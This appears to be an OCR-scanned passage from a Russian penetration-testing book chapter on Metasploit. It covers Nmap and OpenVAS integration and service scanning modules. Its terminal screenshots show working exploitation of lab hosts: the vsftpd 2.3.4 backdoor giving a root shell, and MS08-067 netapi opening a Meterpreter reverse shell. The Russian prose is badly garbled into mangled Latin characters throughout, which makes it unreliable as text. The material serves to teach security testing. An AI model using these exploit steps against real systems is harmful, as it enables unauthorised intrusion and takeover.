Pucynok 3-20. Bvisoo xomano db_import u hosts ¢ MSFconsole

*\  Bwizos NMAP uz MSFconsole: Metasploit npeiaraer
koMaHay db_nmap, KOTOPYHO MOXKHO MCITOJIb30BATh JJIst

3arycka ckaunpoBaHusit NMAP HenocpecTBEHHO U3

koHcoiu Metasploit, kak moka3aHo Ha pucyHke 3-21.
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masa 3 Metasploit

root@kali: ~
File Edit View Search Terminal Help
msf > db_nmap 192.168.25.129
[*] Nmap: Starting Nmap 7.60 ( https://nmap.org ) at 2018-09-24 11:23 IST
[*] Nmap: Nmap scan report for 192.168.25.129
[*] Nmap: Host is up (0.0042s latency).
[*] Nmap: Not shown: 977 closed ports
] Nmap: PORT STATE SERVICE
] Nmap: 21/tcp open ftp
] Nmap: 22/tcp open ssh
] Nmap: 23/tcp open telnet
] Nmap: 25/tcp open smtp
] Nmap: 53/tcp open domain
] Nmap: 80/tcp open http
] Nmap: 111/tcp open rpcbind
] Nmap: 139/tcp open netbios-ssn
] Nmap: 445/tcp open microsoft-ds
]
]
]
]
]
]
]
|
]
]

Nmap: 512/tcp open exec

Nmap: 513/tcp open login

Nmap: 514/tcp open shell

Nmap: 1099/tcp open rmiregistry

Nmap: 1524/tcp open ingreslock

Nmap: 2049/tcp open nfs

Nmap: 2121/tcp open ccproxy-ftp

Nmap: 3306/tcp open mysql

Nmap: 5432/tcp open postgresql

Nmap: 5900/tcp open vnc

[*] Nmap: 6000/tcp open X11

[*] Nmap: 6667/tcp open irc

[*] Nmap: 8009/tcp open ajpl3

[*] Nmap: 8180/tcp open unknown

[*] Nmap: MAC Address: 00:0C:29:11:8E:B1 (VMware)
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 13.36 seconds
msf > hosts

192.168.25.129 ©0:0c:29:11:8e:bl Unknown device

msf > i

Pucynox 3-21. Bvizos NMAP uz MSFconsole ¢ nomowwio komanosi

db_nmap

mac name os name os flavor os sp purpose info

comments

[Tocne 3aBepiienus ckanupoBanuss NMAP Bbl MOXeTe UCIIONBb30BATh

KOMaHy hOStS, Y4TOOBI Y6CZ[I/ITI>C5[, YTO CKaHUPOBAHUC 3aBCPIICHO U LICJIb

nobasnena B 6a3y nanHeix Metasploit.
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masa 3 Metasploit

OpenVAS

Br1 yxe 3aakoMbl ¢ OpenVAS, TOTOMY YTO BBI TTO3HAKOMILUTUCEH C
OOJBIITHCTBOM €TO BO3MOXKHOCTEH B IIPEBIIYIINX IIaBax. TeM He MeHee,
Metasploit mpeanaraeT BO3MOKHOCTH [yist MHTerpaunu OpenVAS mist
BBITIOJIHEHHMS 3a1a4 U3 cpenpl. [Iperkie ueM Bbl cMOXkeTe (haKTHIECKH
BBINIOTHATE JTF00YT0 13 3amad OpenVAS 3 MSFconsole, Bam HeoOxomumo
3arpy3uts mwarud OpenVAS, BeimonHue koMmany load openvas, kak

MOKa3aHo Ha pUCYHKe 3-22.

root@kali: ~ (- BN CN -]

File Edt View Search Terminal Help

msf > load openvas
welcome to OpenVAS integration by kost and averagesecurityguy

OpenVAS integration requires a database connection. Once the

database is ready, connect to the OpenVAS server using openvas connect
For additional commands use openvas help.

Successfully loaded plugin: OpenVAS

nsf > fi I

Pucynok 3-22. 3aepyska nnazuna OpenVAS 6 MSFconsole

[Tocune 3arpy3ku OpenVAS B MSFconsole Bbl MOXKETE BBITOJIHATh
MHOKECTBO 3371a4. BbI MO)keTe UCTIONIb30BaTh KOMaH1y openvas_help, kak
MOKa3aHO Ha PUCYHKE 3-23, 4TOOBI BBIBECTH CITMCOK BCEX BO3MOYKHBIX

3a71a4.
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masa 3 Metasploit

File Edit View Search Terminal Help

msf > openvas help
*] openvas_help

*] openvas_debug

*] openvas_version
]
]

CONNECTION

] openvas_connect

*] openvas_disconnect
|
|

TARGETS

| openvas_target create

] openvas_target delete
*] openvas_target list

|

]

] openvas_task create

] openvas task delete

] openvas task list

] openvas task start
*] openvas task stop

] openvas task pause

| openvas task resume

]

]

1

CONFIGS

openvas config list

*] openvas format list
*1 REPORTS
openvas report list

openvas_report_delete

{
[
[
[
[
[
[
[
[
[
[
[
[
(
[
[
[
[
Iv
[
[
[
[
[
[
[
[
[
[
[
[
[
I
[
[
[
&

[*]

[*] openvas report_import
(*1

msf > |

openvas task resume or start

openvas_report_download

root@Kkali: ~

Display this help
Enable/Disable debugging
Display the version of the OpenVAS server

Connects to OpenVAS
Disconnects from OpenVAS

Create target
Deletes target specified by ID
Lists targets

Create task

Delete a task and all associated reports
Lists tasks

Starts task specified by ID

Stops task specified by ID

Pauses task specified by ID

Resumes task specified by ID

Resumes or starts task specified by ID

Lists scan configurations

Lists available report formats

Lists available reports

Delete a report specified by ID

Imports an OpenVAS report specified by ID
Downloads an OpenVAS report specified by ID

Pucynok 3-23. Bvisoo komanowt openvas_help 6 MSFconsole

Ceprep OpenVAS MoxkeT paboTarh JIOKAIBHO MM B HEKOTOPOI

yaalieHHOH cucteMe. Bam HeoOXxonumMo noakiouuThes K cepBepy OpenVAS ¢
MTOMOIIIBIO KOMaHIBI Openvas_connect, Kak moka3zaHo Ha pucyHke 3-24. Bam
HEOOXOIMMO YKa3aTh UMsI MOJIb30BaTelst, Tapoib, IP-anpec cepeepa OpenVAS

1 IOPT B KAYCCTBEC IIapaMCTPOB JTOH KOMaH/IbI.
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masa 3 Metasploit

root@kali: ~ (- C ]
File Edit View Search Terminal Help

msf > openvas connect admin 439ceaf3-928a-4bc0-aal2-59938cfb8444 127.0.0.1 9390 ok -
[*] Connecting to OpenVAS instance at 127.0.0.1:9390 with username admin...
/usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gems/openvas-omp-0.0.4/1ib/openvas-o
mp.rb:201: warning: Object#timeout is deprecated, use Timeout.timeout instead.

OpenVAS connection successful
nst > i

Pucynoxk 3-24. [ookarouenue k cepsepy OpenVAS ¢ nomowsbro komanowvl
openvas_ connect ¢ MSFconsole

Kak Tonbko noakimouenue k cepBepy OpenVAS OyzeT ycrenHbIM, Bam
HEO0OXOIMMO CO3/JaTh HOBYIO LI€JIb C HOMOIIBIO KOMAH/Ibl
openvas_target create, Kak II0Ka3aHO Ha pucyHke 3-25. Bam Heobxoaumo
yKa3aTb UMs TecTa, 1ieaeBoit [P-agpec u koMMeHTapuu (€CiIn TaKOBbIE
HUMEIOTCS) B KaueCTBE apaMETPOB 3TOW KOMaHIbI.

root@kali: ~ 00
File Edit View Search Terminal Help

nst > openvas target create

*] Usage: openvas_target create <name> <hosts> <comment>
msf > openvas target create test 192.168,25.129 test-scan
Jusr/share/netasploit-framework/vendor/bundle/ruby/2.5.0/geas/openvas-omp-9.0.4/11b/openvas-onp, rb:201: warning: Object#timeout is d
eprecated, use Timeout.timeout instead.

*] 87bbf542-331d-4506-b216-18b320914170
Jusr/share/setasploit-framework/vendor/bundle/ruby/2.5.8/geas/openvas-omp-0.0.4/1ib/openvas-onp. rb:201: warning: Object#timeout is d
eprecated, use Timeout.timeout instead.

OpenVAS list of targets

10 Name Hosts Max Hosts In Use Comment

4e8e69a1-¢38-4d6d-9232-750d86021597 Target for immediste scan of IP 192.168.25.129 192.168.25.129 1
87bbf542-331d-45e6-b216-18b32b974170 test 192.168.25.129 1
8b985290-49c1-4475-aeed-67fbdf217da3 Target for immediate scan of IP 192.168.25.132 192.168.25.132 1
be89d561-071b-4713-9329-fe7el23c5e8c Target for immediate scan of IP 192.168,.25,128 192.108.25.128 1

test-scan

- -

S |

Pucynok 3-25. Cozoanue Hosoti yenu 0st ckanupoganusi OpenVAS c¢
noMOWbI0 KOMAHObL openvas_target create ¢ MSFconsole

[locne co3nanus HOBOM LETH BaM HY>KHO BBIOPATh MPOQHIIH
CKaHMPOBaHMS C IIOMOILBIO0 KOMaHAbI openvas_config_list, Kak mokasaHo Ha
pucynke 3-26.
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masa 3 Metasploit

rootifikall: ~ (- B - ]
File Edit View Search Terminal Help
msf > openvas_config list T
Jusrfshare/metasploil - framework /vendor /bundle/ruby/2.5.8/geas /openvas-oap-8.8.4,/1ib/openvas-onp. rb:281: warning: Object#timecut is d
eprecated, use Tieeout.timeout instead.
OpenvAS List of configs

0 Name

B85569¢ce-T3ed- 1141 -83<3-802264764cea  empty
2d3f@51c-55ba-11e3-bf43-486186ea4fc5 Host Discovery
G98F691e-7489 - 11df-908c-802264764cea Full and fast ultimate
Te8f25¢4-7489 - 1141 - 8694 -062264764cea  Full and very deep
T4dbl3d6-T489-114F-9109-802264764cea  Full and very deep ultimate
B715c877-47a0-438d-98a3- 27cTabab2196 Discovery
bbcaT412-2950-1163-9189-486186ea41c5  System Discovery
dabaS6CE-T3ec- 1161 -a475-082264764cea Full and fast

mat = 1

Pucynok 3-26. Bvieoo xomanowt openvas_config list ¢ MSFconsole

Kak Tonbko BbI BEIOpanu Npouiib CKAHUPOBAHMS, TIPUIILIO BPEMSI CO3/1aTh
3amady ckaHupoBaHus. Komanny openvas task create MOXHO HCIOJNB30BaTh
JUIsL CO3JaHusl HOBOHM 3aJauM, KaK MOKa3aHO Ha pucyHke 3-27. B kauecTBe
apaMeTpoB 3TOW KOMAaHIbl HEOOXOAMMO YKa3aTb HUMs CKaHWPOBAaHMS,
KOMMEHTapuu, €clId OHHU €CTb, HIeHTHU(UKaTop KOoHUrypauuun u
UACHTU(PHUKATOP LEIH.

rootifikall: ~ (-3 ]
File Edit View Search Terminal Help
msf = openvas_task_create =

Usage: openvas task create <names <comments <config id> <target ids

msf > openvas_task create test test-scan dabaS6c8-73ec-11df-a475-802264769cea B7bbf542-331d-45e6-b216-feb32b9f4179
fusr/share/netasploit - framework/vendor fbund le/ruby /2. 5. 8/gems fopenvas -onp-8.8. 4/1ib/openvas-onp. rb:201: warning: Object#timecut is d
eprecated, use Timeout.timeout instead.
*] caBb6aBd-be3s-4cf2-87fd-289776af2bes

fusr/share/metasplodt - framework/vendor /bundle/ ruby/2.5.0/gens /openvas -onp-.0.4/11b/openvas -onp. rb: 201: warning: Objectstimecut is d
eprecated, use Tieeout.timeout instead.
OpenVAs list of tasks

10 Name Comment Status Progress
$77cedcd-2398 -47dc-bbbo- 206209585404 Immediate scan of 1P 192.168.25.132 pone 1
865193b6-23ee 42490 12-920e0169722 Inmediate scan of IP 192.168.25.128 pone -1
alSad62d-3e33-4bld-9869-d291265b57c3 Immediate scan of IP 192.168.25.129 Done 1
caBb6abd-be3d-4cf2-87fd-289776af2be5 test test-scan New 1

msf =}

Pucynok 3-27. Cozdanue mnosoti 3adauu npogepku OpenVAS ¢ nomowpwio
Komanowl openvas_task create ¢ MSFconsole

Teneps, Korna 3agada MpoBEPKH OblIa CO3/1aHa, BBl MOXKETE 3aITyCTUTh
CKaHMPOBaHME C ITOMOIIBIO KOMaH bl openvas_task start, Kak 1mokasaHo Ha
pucynke 3-28. Bam HeoOXonumo ykaszaTh HACHTH(PHUKATOp 3a1a4u B
KauecTBe [apaMeTpa 3TOH KOMaH]IbI.

98



masa 3 Metasploit

root@kali: ~ (- O]

File Edit View Search Terminal Help
msf > openvas task start caobbag9-be39-4cf2-871d-289776af2bes "
Jusr/share/setasploit-framework/vendor /bundle/ruby/2.5.8/geas /openvas-omp-0.0.4/1ib/openvas-onp. rb:201: warning: Object#timeout is d
eprecated, use Timeout.timeout instead.

*] <X><authenticate response status='200' status text='0K's<role>Adsin</role><timezone>UTC</timezone><severity>nist</severity»</aut
henticate _response><start_task_response status='202' STatus_text='OK, request submitted'><report_id>204e59af-77bS-4b9e-9986-c64belf2
a665</report ids</start task responses</Xs
msf > openvas task list
Jusr/share/setasploit-framework/vendor/bundle/ruby/2.5.0/gens/openvas-omp-0.0.4/1ib/openvas-onp. rb:201: warning: Object#timeout is d
eprecated, use Timeout.timeout instead.

OpenVAS list of tasks

10 Name Comment Status Progress
577cedcd-2398-47d¢-bbb0-20b209585404 Immediate scan of IP 192.168.25.132 Done -1
865193b6-23ee-4214-9e12-93ee0al697a2 Immediate scan of IP 192.168.25.128 Done !
2253d62d-3e33-4b1d-9869-d291265b5fc3 Immediate scan of IP 192.168.25.129 Done 21
Ca0b6asS-be39-4cf2-871d-289776a12beS test test-scan Running 1

nst > I

Pucynok 3-28. 3anyck Hedasno cozdannot 3a0auu OpenVAS ¢ nomowvio
Komanowl openvas_task start ¢ MSFconsole

D70 3aiiMeT HEKOTOPOE BpEeMsI, MMPEXKC YeM CKAHUPOBAHKE 3aBEPIIATCS.
[Tocne 3aBepiieHHs] CKAHUPOBAHUS BBl MOXKETE MPOCMOTPETh OTUETHI,

HCIIOJIB3Ysl KOMaHIy openvas_report list, kak 1oka3aHo Ha puCcyHKe 3-29.

root@kali: ~ (- -]
File Edt View Search Terminal Help
eprecated, use Timeout.timeout instead. vy
Jusr/share/setasploit - framework/vendor/bundle/ruby/2.5.8/geas/openvas-omp-0.0.4/1ib/openvas-onp.rb:201: warning: Object#timeout is d
eprecated, use Timeout.timeout instead.
Jusr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/gens/openvas-omp-0.6.4/1ib/openvas-onp.rb:201: warning: Object#timeout is d
eprecated, use Timeout.timeout instead.
fusr/share/setasploit-framework/vendor/bundle/ruby/2.5.08/gens/openvas-onp-0.0.4/1ib/openvas-onp.rb:201: warning: Object#timeout is d
eprecated, use Timeout.timeout instead.
Jusr/share/setasploit-framework/vendor/bundle/ruby/2.5.8/geas/openvas-omp-0.0.4/1ib/openvas-onp. rb:201: warning: Object#timeout is d
eprecated, use Timeout.timeout instead.

OpenVAS list of reports

pii] Task Name Start Time Stop Time

20465921 -71b5-4b%e-9906-¢64be 1122665 test 2018-09-24766:34:532 2018-09-24707:09:072
3973274e-48238-4bed-a485-132d97¢cbo4ac! Immediate scan of IP 192.168.25.128 2018-09-06T04:33:092 2018-09-06704:45:372
€7573405-cbd0-4cca-9ac3-ed35605b6500 Immediate scan of IP 192.168.25.132 2018-09-06T04:47:302 2018-09-06705:00:342
fbIbf519-614f-4e07-9125-7bb2041d9877 Immediate scan of IP 192.168.25.129 2018-08-02706:22:552 2018-08-02706:47:012

nst > openvas_report list I

Pucynok 3-29. Bvisoo cnucka omuemos OpenVAS ¢ nomowpio komanoul
openvas_report_list ¢ MSFconsole

Teneps, Korna CkKaHUPOBAHUE 3aBEPILLICHO U OTUYET I'OTOB, BHI MOXKETE
3arpy3HTh OTYET C TIOMOIIBIO0 KOMaH bl openvas_report download, kak
roka3aHo Ha puc. 3-30. B kauecTBe mapaMeTpoB 3TOI KOMaH/bl
HEOOXOIMMO yKa3aTb UIECHTU(UKATOp OTYETa, POpMaT OTYETA, MYTh
BBIBOZIA M UMl OTYETA.
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masa 3 Metasploit

toot{al - 000

Pucynox 3-30. Coxpanenue omuema OpenVAS ¢ nomowbro komanowl
3aepysxu oepnvas_report_ 6 MSFconsole

CkaHnpoBaHUMe 1 Ucnornb3oBaHne
cepsucoB ¢ nomoLubio Metasploit
Auxiliaries

Metasploit mpeiaraet MIMPOKHI BEIOOP SKCIUIONTOB M BCIIOMOTaTEIIbHBIX
MOyJICH [T CKAHUPOBAHMUS, MTOJCYETA U HCIIONb30BAHUS PA3THYHBIX
CEpBHCOB U MPOTOKOJIOB. B 3TOM paszene paccMaTpuBalOTCsi HEKOTOPbIS
BCIIOMOT'aTCJIbHLIC MOIYJIN U BKCHHOﬁTLI, NpE€AHa3HA4YCHHBIC 1JId 4aCTO

HCIOJIB3YEMbIX ITPOTOKOJIOB.

DNS

B mpenpinymieit rmase Bel y3Haiu, kak NMAP M0HO UCTIONB30BaTh IS
niepeuncienus ciayx0b1 DNS. Metasploit Takxe UMeeT HECKOIBKO
BCIIOMOTaTEJIbHBIX MOAYJIEH, KOTOPhIE MOKHO MCIIOIb30BaTh ISl pa3BEIKU
DNS.

Ha puc. 3-31 nmokazaHo BCIOIB30BaHUE MOIYIIS
/auxiliary/gather/enum_dns. Bce, 4To BaM HYXHO c/ieaTh, 3TO HACTPOUTH
LIEJIEBOM JIOMEH U 3aIlyCTUTh MOIylb. B pe3ynbTare oH BO3BpalacT
csizanHeie DNS-cepBepsl.

100



masa 3 Metasploit

rootQal «
Fle Edt View Sewch Temnal Help
mst > use auxiliary/gather/enun dns
maf auxiliary(gether/enus das) > show options

Module options (auxiliary/gather/cnum dns)

Nave nt Setting Required Description
DOMATH yes
ENUM_A trie yes
ENUM AXFE  true yes
ENUM_BRT false yes ist
ENUM CNANE  true ye
ENUM MX true y Enuserate DNS MX record
ENUM_NS true yes Enuserate DNS NS record
ENUM_ RVL false yes Reverse lookup a range of IP addresses
ENUM SOA true yes Enumerate DNS SOA re
ENUM SRV true yes Enuaerate the mos SRY records
ENUM_TLD false yes perfors a TLO expans replacing the TLD with the IAMA TLD ist
ENUM_TXT true yes Enuserate DNS TXT re
IPRANGE no a ange or CIDR identifier
™3 no naneserver to use for queries (default is system ONS)
SYOP WLOCRD  false yes Stops force enumeration 1f wildcard resclution 1s detected
THREADS 1 no Threads for ENUM 8RT
WORDLIST fusr/share/metasplodt. frasework/data/worclists/natelist.txt no Wordlist of subdosains
> set DOMAIN megacorpone.com
> run
993 #14445] WARN - : Nomeserver 192.166.25.2 not responding within UDP timeout, trying next one
455 #14445] FATAL No response Trow naseservers L1st; aborting

for megacorpone.con
BCGICOrPOne . Com

Pucynok 3-31. Hcnonvzosanue scnomozamenbHozo mooyns enum_dns

FTP

[peamonoxuM, uTo mpH MpoBesicHHN ckanupoBanuss NMAP Bbl 0OHapyXuiH,
4TO Bama 1ens padoraeT Ha FTP-cepepe yepes mopt 21, a Bepcus cepepa
vsftpd 2.3.4.

Br1 MoxeTe ucnoap30BaTh (GYHKIHIO TIOUCKA, YTOOBI y3HATh, €CTh JIU Y

Metasploit kakue-m00 SKCIUIONTHI 1715 cepBepa vsiftpd, kak mokazaHo Ha
puc. 3-32.

Fle EOt Vew Seach Termnad Help

mat > search vaftpd
Module database cache not built yet, using slow search

Matching Modules

Nave Disclosure Date Rank Descriptior
exploit/unix/ftp/vsftpd 234 backdoor 2011-97-03 excellent VSFTPD v2.3.4 Backdoor Command Execution
mt >l I

Pucynok 3-32. Pezynomam noucka skcnaouma vsfipd

3mech Bbl OyeTe UCIOIB30BaTh SKCILIONT /unix/ftp/vsftpd 234 backdoor
TS SKCIUTyaTanuu ysi3sumoro FTP-cepsepa. Bel MmokeTe HacTpOuUTh 11eJ1eBOM
IP-anpec xak nmepemernyto RHOST, a 3aTem 3amycTUTh SKCIIIONT, KaKk

[oKa3aHo Ha puc. 3-33.
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Fie Edt View Search Terminal Help
+ -- --m] 538 payloads - 41 encoders - 18 nops ]
+ -- --m| Free Metasploit Pro trial: http://r-7.co/trymsp |

msf > use exploit/unix/ftp/vsftpd 234 backdoor
nst exploit(unix/ftp/vsftpd 234 _backdoor) > show opticns

Module options (exploit/unix/ftp/vsftpd 234 backdoor):

Nome  Current Setting Required Description
RHOST yes The target address
RPORT 21 yes The target port (TCP)

Exploit target:
1d Nanme

] Automatic

msf exploit(unix/ftp/vsftpd 234 backdoor) > set RHOST 192.168.25.129
RHOST => 192.168.25.129
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit

192.168.25.129:21 - Banner: 220 (vsFTPd 2.3.4)

192,168.25.129:21 - USER: 331 Please specify the password.

192.168.25.129:21 - Backdoor service has been spawned, handling.

192.168.25.129:21 - UID: uid=d(root) gid=8(root)

Found shell.

Command shell session 1 opened (192.168.25.128:38095 -> 192.168.25.129:6200) at 2018-09-26 15:26:35 +053¢

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 16 13:58:00 UTC 2608 1686 GNU/Linux
whoami
root

1s

bin

boot

cdrom

dev

etc

home
initrd
initrd.img
b

lost+found
media

mnt
nohup.out
opt

proc

root

sbin

srv

Pucynoxk 3-33. Venewmnas sxcniayamayus yeau ¢ UCNOAb3068AHUEM IKCIIOUMA
vsftpd_234

OKCIUIOUT YCHEIIeH, W BhI ITOy4aeTe JOCTYI KOMaHIHON 000JI0YKH K
IICJIEBOM CHUCTEME.

HTTP

[Iporokon nepenaun runeprexkcra (HTTP) spnsercst onHoi n3 HanboIee 4acTo
BCTpEYAIONIUXCs cITyk0 Ha XocTax. Metasploit iMeeT MHOXKECTBO 3KCIUIONTOB
Y BCTIOMOTATEIFHBIX CPENICTB IS TIEPEUNCIICHHUS M HCIIOB30BAHMS CEpPBUCA
HTTP.
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BcrnoMorarenbHbiii Moy auxiliary/scanner/http/http _version, kak

MoKa3aHo Ha puc. 3-34, nepeunciuset Bepcuro HTTP-cepsepa. Mcxons u3

TOYHOH BEpPCHUU CCPBCPA, BbI MOXKETC 0oJiee TOYHO IJIaHUPOBATH

JabHEHIITYIO IKCIUTyaTalHIo.

root@kali: ~
File Edit View Search Terminal Help

msf > use auxiliary/scanner/http/http version
msf auxiliary(scanner/http/http_version) > show options

Module options (auxiliary/scanner/http/http version):

Name Current Setting Required Description

Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier

RPORT 80 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads

VHOST no HTTP server virtual host

msf auxiliary(scanner/http/http_version) > set RHOSTS 192.168.25.129
RHOSTS => 192.168.25.129
msf auxiliary(scanner/http/http_version) > run

192.168.25.129:80 Apache/2.2.8 (Ubuntu) DAV/2 ( Powered by PHP/S.2.4-2ubuntu5.10 )
[*) Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/http/http_version) > D

Pucynox 3-34. Bvi6oo ecnomocamensHozo Mooyus hitp_version

YacTo BeO-cepBep UMEET KaTalloTH, KOTOPbIE HE 0TOOpaXaroTcs
HaNpsIMYIO ¥ MOTYT COJIEpXkaTh MHTepecHyto nHpopMaruto. Metasploit

HMMeEET BCIIOMOTaTeNbHBIN MOAYIb, Ha3bIBAEMbIH

00

auxiliary/scanner/http/brute _dirs, KOTOpBIi CKAHUPYET TaKUE KAaTaJIOTH, KaK

MoKa3aHo Ha puc. 3-35.

roou@ial: ~
Fle Edt View Seach Tenninad Help
nsf > use auxiliary/scanner/http/brute dirs
nsf auxiliary(scanner/http/brute_dirs) > show options
Module cptioms (auxiliary/scamner/http/drute dirs)
Nare Current Setting Pequired Description
FORMAT 2,302,000 yes The expected directory format (a alpha, © 01git, A upperalpha)
PATH / yes The path to 1dentify directories
Proxies no A proxy chain of format type:host:portf.type:host:port)[...}

RHOSTS yes The target address range or CIOR identifier

REORT 88 yos The target port (1CP)

false no Negotiate SSL/TLS for cutgoing connections
THREADS 1 yes The nuaber of concurrent threads
VHOST o WTTP server virtual host

Bsf auxiliary(scanner/hitp/brute_girs) > set ANOSTS 192.16%.25.129
RNOSYS => 192.168.25.129
nsf auxiliary(scanner/http/brute_dirs) > run

*] Using code "404' as not fourd
Found http://192.168.25.129:88/dav/ 200
Found hitp://192.168.25.129:88/doc/ 280
*] Scanmed 1 of 1 hosts (160% complete)
*) Auxiliary module execution compteted
st suxiliary(scanner/htip/brute_dirs) > Il

Pucynox 3-35. Bvi6o0 écnomocamenvnozo mooyis brute dirs

oo
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RDP

[Ipotoxkon ynmanennoro padouero croia (RDP) - 310 co6cTBeHHBIH TPOTOKO,
paspabotanHslif Microsoft s yaaneHHOTo TpaguaecKkoro
aJMUHUCTpUpOBaHus. Eciu Bama nenb - cucrema Ha 6asze Windows, To BbI
MOXETE 3aIyCTUTh BCIIOMOTaTeNIbHBIN MOIYITb C UMCHEM
auxiliary/scanner/rdp/ms12 020 check, kak moka3aHo Ha pucyHnke 3-36. On
MIPOBEPSIET, SABISACTCS JIM LENb YI3BUMOH JUIs ysi3BUMocT MS-12-020. Ber
MOXKeTe y3HaTh OoibIne 00 3To# ysa3suMocTy Ha https://docs.
microsoft.com/en-us/security-updates/securitybulletins/2012/ ms12-020.

root@kali: ~ 200
File  Edt View Search Terminal Help
mef > use auxiliary/scanner/rdp/msl2 020 check -
msf auxiliary(scanner/rdp/ms12 020 check) > show options

Module options (auxiliary/scanner/rdp/ss12 020 check)
Nane Current Setting Required Description
RHOSTS yes The

RPORT 3389 yes Reao
THREADS 1 yes The

address range or CIOR identifier
t running ROP (TCP)
r of concurrent threads

msf auxiliary
RHOSTS => 1
msf auxilis

anner/rdp/ms12 020 check) > set RHOSTS 192.168.25.130
25.130
ver/rdp/ms12_020_check) > run

y(sca

192.168.25.130:3389 192.168.25.130:3389 - The target is vulnerable
Scanned 1 of 1 hosts (180% complete)
Auxiliary le execution completed

mst auxiliary ver /rdp/msi2_020_check) > [}

Pucynok 3-36. Bvisoo écnomoeamenvroeo mooyus msi2_ 020 check

SMB

B npensimymieis mase B ucronb3oBam NMAP mis nepeancnenus SMB.
Metasploit ”MeeT MHOTO TIOJIE3HBIX BCIIOMOTATEBHBIX MOJYJIEH JUIs TIojIcueTa
u 3kcIuTyatanuu SMB.

[Ipocroiif monck SMB-Momynei n3BineKaeT pe3ysnbTarhl, Kak
[OKa3aHo Ha pucyHke 3-37.
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Pucynok 3-37. Bvi6o0 nouckoeoeo sanpoca 014 céazannvix ¢ SMB mooyneii u

IKCNIIOUMO8

BEI MOXeTe uCIonb30BaTh OHH 13 BCIIOMOTI'aTCIbHBIX MOHYHCﬁ,

Ha3bIBaeMbIi auxiliary/scanner/ smb/smb_enumshares, kak nmokasano Ha

pucyske 3-38. Bam HeoOxonnmo ycTaHOBUTH 3HaueHHe nepemenHoid RHOST

paBHbIM 1ieneBoMY [P-anpecy. Moynb BO3BpallaeT pe3yinbrarbl CO CIIMCKOM

aKIIUH B IICJIEBOU CUCTEME.

File Edit View Search Terminal Help
msl > use auxiliary/scanner/sedb/smb_enunshares
psf auxiliary{scanner/ssb/smb_enumshares) > show options

Module options (auxiliary/scanner/sab/snb enumshares):

Nane Current Setting Required Des:rlplxen
LogSpider 3 no 0= dxsabled 1 = €SV, 2 = table (txt), 3 = one liner (txt) (Accepted: 0,
MaxDepth 999 yes Max nunber of subdirectories to spider

RHOSTS yes The target address range or CIDR identifier

SMBDomain . no The windows domain to use for authentication

SMBPass no The password for the specified username

sMBUSer no The username to authenticate as

ShowFiles false yes Show detailed information when spidering

SpiderProfiles true noe Spider only user profiles when share = C$

SpiderShares false no Spider shares recursivel

THREADS. 1 yes The nunber of concurrent threads

msf auxiliary(scanner/sab/sab_enumshares) > set RHOSTS 192.168.25.130

RHOSTS => 192.168.25.130

msf auxiliary(scanner/smb/smb_enusshares) > run

(-] 192.168.25.130:139 - Login Failed: The

*] 192.168.25.130:445 -
192.168.25.130:445 - IPCS - (I) Remote
192.168.25.130: 445 - SharedDocs - (DS)
192.168.25.130:445 - s - (0S)
192.168.25.130:445 - ADMINS
192.168.25.130:445 - €$ - (DS) Default
Scanned 1 of 1 hosts (100% complete)

Auxiliary module execution completed
mst auxiliary{scanner/sab/sab_enumshares) > ]

Pucynox 3-38. Bvi6o0 6cnomocamenvrozo mooyis smb_enumshares

SMB server did not reply to our request

Windows XP Service Pack 3 (English)

1P

(DS) Remote Admin

share

1,
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Eme onun monynspHbIi 3kcmiolT st SMB - ys3sumocts MS-08-67
netapi. Be MOXkeTe HCITONTB30BATh AKCILIOUT
exploit/windows/smb/ms08 067 netapi, kak TIOka3aHo Ha pucyHke 3-39. Bam
He00XOMMO yCTaHOBHTE 3HaueHue nepeMenHoii RHOST s [P-anpeca
LIETIEBOM cUCTEMBI. ECiN SKCIIOUT YCIENHO BBIIONIHEH, BaM

TIpeIoCcTaBIsIeTCS 000I09Ka Meterpreter.

root@kali: ~ (- JC - ]
File Edit View Search Terminal Help

msf > use exploit/windows/smb/ms€8 667 netapi -
msf exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08 067 netapi):

Name Current Setting Required Description

RHOST yes The target address

RPORT 445 yes The SMB service port (TCP)

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

Exploit target:
Id Name

] Automatic Targeting

msf exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.25.136
RHOST => 192.168.25.130
msf exploit(windows/smb/ms08 067 netapi) > exploit

] Started reverse TCP handler on 192.168.25.128:4444
[*] 192.168.25.130:445 - Automatically detecting the target...
] 192.168.25.130:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Unknown
] 192.168.25.130:445 - We could not detect the lanquage pack, defaulting to English
] 192.168.25.130:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
] 192.168.25.130:445 - Attempting to trigger the vulnerability...
[*] Sending stage (179779 bytes) to 192.168.25.130
] Meterpreter session 1 opened (192.168.25.128:4444 -> 192.168.25.130:1085) at 2018-09-26 20:49:18 +0530

meterpreter > sysinfo
Computer : SAGAR-C51B4AADE

0s : Windows XP (Build 2600, Service Pack 3).
Architecture : 86

System Language : en US

Domain : MSHOME

Logged On Users : 1

Meterpreter : x86/windows

peterpreter >

Pucynox 3-39. Venewmnasn sxcnayamayus yenegou cucmemsvl ¢
ucnonvsoganuem sxcniovma ms08_ 067 netapi

SSH

Secure Shell (SSH) - oguu u3 Hanbosee YacTO UCIIOIB3yEMbIX IPOTOKOJIOB ISt
0€30MacHOro yIaJeHHOro aIMHHUCTPUPOBaHus. Metasploit iMeeT MHOTO
BCIIOMOTATEBHBIX MOAYIIeH Jutst mogcueTa SSH. Bel MoXeTe HCIobh30BaTh
BCIIOMoOTaTeNbHbIi Moys auxiliary/scanner/ssh/ ssh_version, kak mokazaHo

Ha pucyHke 3-40. BaM Hy)kKHO YCTaHOBHUTb 3HaU€HHE TEPEMEHHOMN
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RHOST Ha 3nHadenue menu. Momyib BBIITOMHSAET M BO3BpAIIAE€T TOUHYIO

Bepcuto SSH, kotopast paboTtaer Ha 1enu. Ota MHGOpPMAIUS MOXKET OBITh

